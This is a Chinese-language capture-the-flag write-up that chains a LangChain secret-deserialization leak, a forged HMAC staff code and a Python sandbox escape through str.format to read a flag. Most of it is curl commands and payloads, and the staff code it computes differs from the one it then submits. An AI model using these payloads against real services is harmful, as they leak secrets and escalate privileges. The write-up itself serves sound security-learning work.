BASE='http://101.245.103.157:5049'
这题的完整链路是:
- 注册普通用户
- 敲木鱼攒到 60 金币
- 买 Support Debug Bundle 拿到源码
- 用聊天区 metadata 的 LangChain 反序列化洞泄露 SHOP_SUPPORT_SEED
- 计算当天 UTC 的 staff-code
- 用 bot /login 升成 support_admin
- 打开 Rule Lab,绕过黑名单,从生成器帧局部变量里把 flag 读出来
Step 1. 注册账号
注册接口:
curl -s "$BASE/api/auth/register" \
-H 'Content-Type: application/json' \
-d '{
"username":"ctf73605297",
"password":"Aa!testtesttest1",
"confirmPassword":"Aa!testtesttest1"
}'
返回里会带 token,后面所有登录态请求都用:
_019ec64d-de97-7639-9ad1-ec268f157fca.png)
-H "Authorization: Bearer $TOKEN"
Step 2. 敲木鱼攒金币
新用户初始只有 50 金币,但 Support Debug Bundle 要 60 金币。
/api/woodfish/knock 每次 coin +1,敲 10 次正好到 60。
payload:
curl -s "$BASE/api/woodfish/knock" \
-X POST \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{}'
重复 10 次。第 10 次后返回里会看到:
_019ec64d-dff3-7759-a0af-2e059674d660.png)
{"coins":60,"woodfishCount":10,"broken":true}
Step 3. 购买 Support Debug Bundle 拿源码
购买商品 2:
curl -s "$BASE/api/shop/buy" \
-X POST \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"productId":2}'
_019ec64d-e18f-7638-9ed6-983ac3faa5d5.png)
然后下载源码:
curl -s "$BASE/api/shop/download/support-ticket" \
-H "Authorization: Bearer $TOKEN"
_019ec64d-e275-715c-90a4-9d260e6b25e4.png)
_019ec64d-e3ca-747d-afc1-fb4fc5f78393.png)
拿到的核心代码是:
seed = os.environ.get("SHOP_SUPPORT_SEED", "local-support-seed")
today = datetime.now(timezone.utc).strftime("%Y%m%d")
message = f"support-login:{user['id']}:{user['username']}:{today}"
digest = hmac.new(seed.encode(), message.encode(), hashlib.sha256).hexdigest()
return digest[:12]
说明只要拿到 SHOP_SUPPORT_SEED,就能算当天的 staff-code。
Step 4. 利用聊天区 metadata 反序列化泄露 seed
前端发消息时会把 metadata 原样塞进 /api/chat/messages。
这里可以构造 LangChain secret 对象,让服务端反序列化并在拉历史消息时回显真实值。
发消息 payload:
curl -s "$BASE/api/chat/messages" \
-X POST \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{
"content":"seed probe",
"metadata":{
"source":"chat-sync",
"client":"web-shop",
"messages":[
{
"lc":1,
"type":"secret",
"id":["SHOP_SUPPORT_SEED"]
}
]
}
}'
_019ec64d-e535-7256-8294-35cd4c4c50e1.png)
然后拉历史消息:
curl -s "$BASE/api/chat/messages" \
-H "Authorization: Bearer $TOKEN"
关键回显会变成:
_019ec64d-e65f-71e8-9d4a-c9c2deac12c0.png)
"messages":["sdjksdjksj_seedd_222"]
所以:
SHOP_SUPPORT_SEED = sdjksdjksj_seedd_222
Step 5. 计算 staff-code
注意这里必须用 UTC 日期。这台靶机对应的是:
20260614
计算脚本 payload:
import hmac, hashlib
seed = "sdjksdjksj_seedd_222"
uid = 7109
username = "ctf73605297"
date = "20260614"
msg = f"support-login:{uid}:{username}:{date}"
code = hmac.new(seed.encode(), msg.encode(), hashlib.sha256).hexdigest()[:12]
print(code)
_019ec64d-e78a-7542-8c34-be15579e9921.png)
我这次注册的号算出来是:
fbb0ff07ee29
Step 6. 机器人登录 staff 身份
bot 登录 payload:
curl -s "$BASE/api/bot/chat" \
-X POST \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{
"message":"/login 84a1fcd3a26c"
}'
成功后会返回:
_019ec64d-ea45-72c8-991e-414286fd66e7.png)
"登录成功,已激活 support_admin 权限。"
再确认一下:
curl -s "$BASE/api/bot/chat" \
-X POST \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d '{"message":"/whoami"}'
会看到:
_019ec64d-eb9a-7621-afd1-e75a27cfadde.png)
"当前身份:support_admin"
Step 7. 打 Rule Lab,先做信息收集
先看预览对象:
items = []
for item in iter_preview_items():
items.append(item)
result = items
payload:
curl -s "$BASE/api/rules/run" \
-X POST \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d @- <<'EOF'
{"code":"items = []\nfor item in iter_preview_items():\n items.append(item)\nresult = items"}
EOF
返回能看到预览里有:
_019ec64d-edbb-726e-8338-a5c146ece777.png)
user / order / policy / shop
另外,隐藏变量 products 是可直接访问的:
result = products
会返回:
_019ec64d-ef03-72c8-9a50-4e3856905643.png)
[
{"name":"测试商品","price":50},
{"name":"神秘礼盒","price":999999}
]
说明 Rule Lab 的上下文比前端显示的更多。
Step 8. 黑名单绕过,读到 sandbox 全局和环境变量
这个沙箱禁了 globals/getattr/open/dir,也禁了很多危险属性名,
但它是 AST 黑名单,str.format() 的字段解析不会走同一套限制。
先用动态字符串绕过 __globals__ 关键字:
a = '__glo' + 'bals__'
result = ('{0.' + a + '[os].environ}').format(iter_preview_items)
payload:
curl -s "$BASE/api/rules/run" \
-X POST \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d @- <<'EOF'
{"code":"a = '__glo' + 'bals__'\nresult = ('{0.' + a + '[os].environ}').format(iter_preview_items)"}
EOF
_019ec64d-f123-76b8-aec5-3d23b2800d18.png)
这里会直接泄露环境变量,关键两项是:
FLAG_PATH=/app/private/flag.txt
SHIPMENT_PREVIEW_FILE=/app/private/flag.txt
再看 _execute_code 的常量,能确认它内部确实定义了 load_manifest 和预览文件路径:
a = '__glo' + 'bals__'
result = ('{0.' + a + '[_execute_code].__code__.co_consts}').format(iter_preview_items)
会看到:
_019ec64d-f2bb-70af-9ba3-3ba76f3db730.png)
'SHIPMENT_PREVIEW_FILE', '/app/private/flag.txt', <code object load_manifest ...>
Step 9. 找到真正的取 flag 点
继续看 iter_preview_items 的闭包变量:
result = '{0.__code__.co_freevars}'.format(iter_preview_items)
返回:
_019ec64d-f41a-77c1-ae56-37d1bee44f83.png)
('load_manifest', 'preview_items')
说明这个生成器闭包里抓了一个 load_manifest。
再把闭包内容取出来:
a = '__clo' + 'sure__'
result = ('{0.' + a + '[0].cell_contents}').format(iter_preview_items)
得到:
_019ec64d-f615-74a9-960e-62bd72c517ef.png)
<function _execute_code.<locals>.load_manifest at ...>
再看 iter_preview_items 的局部变量名:
result = '{0.__code__.co_varnames}'.format(iter_preview_items)
返回:
_019ec64d-f738-75dc-9bef-c42c436c4dd1.png)
('shipment_manifest', 'item')
这就很关键了。说明 iter_preview_items() 一开始会把某个值先读进局部变量 shipment_manifest,然后再开始 yield 预览项。
正常返回时这个变量不显示,但生成器暂停后,帧局部变量还在。
Step 10. 最终 payload:从生成器帧局部变量直接读 flag
最终 payload:
g = iter_preview_items()
next(g)
a = 'gi_' + 'frame'
b = 'f_' + 'locals'
result = ('{0.' + a + '.' + b + '[shipment_manifest]}').format(g)
请求:
curl -s "$BASE/api/rules/run" \
-X POST \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-d @- <<'EOF'
{"code":"g = iter_preview_items()\nnext(g)\na = 'gi_' + 'frame'\nb = 'f_' + 'locals'\nresult = ('{0.' + a + '.' + b + '[shipment_manifest]}').format(g)"}
EOF
返回直接就是:
_019ec64d-f857-735d-8162-fbc4d0baea1f.png)
SCTF{human_cas3_the_m@in_pr0blem_not_bot}
最终 flag
SCTF{human_cas3_the_m@in_pr0blem_not_bot}
这题本质上是两段链:
- 聊天区 metadata 的 LangChain 反序列化,拿 SHOP_SUPPORT_SEED,伪造 support_admin
- Rule Lab 是黑名单 AST 沙箱,但可以用 str.format + 动态拼接敏感属性名,最后从生成器 gi_frame.f_locals['shipment_manifest'] 里把 flag 读出来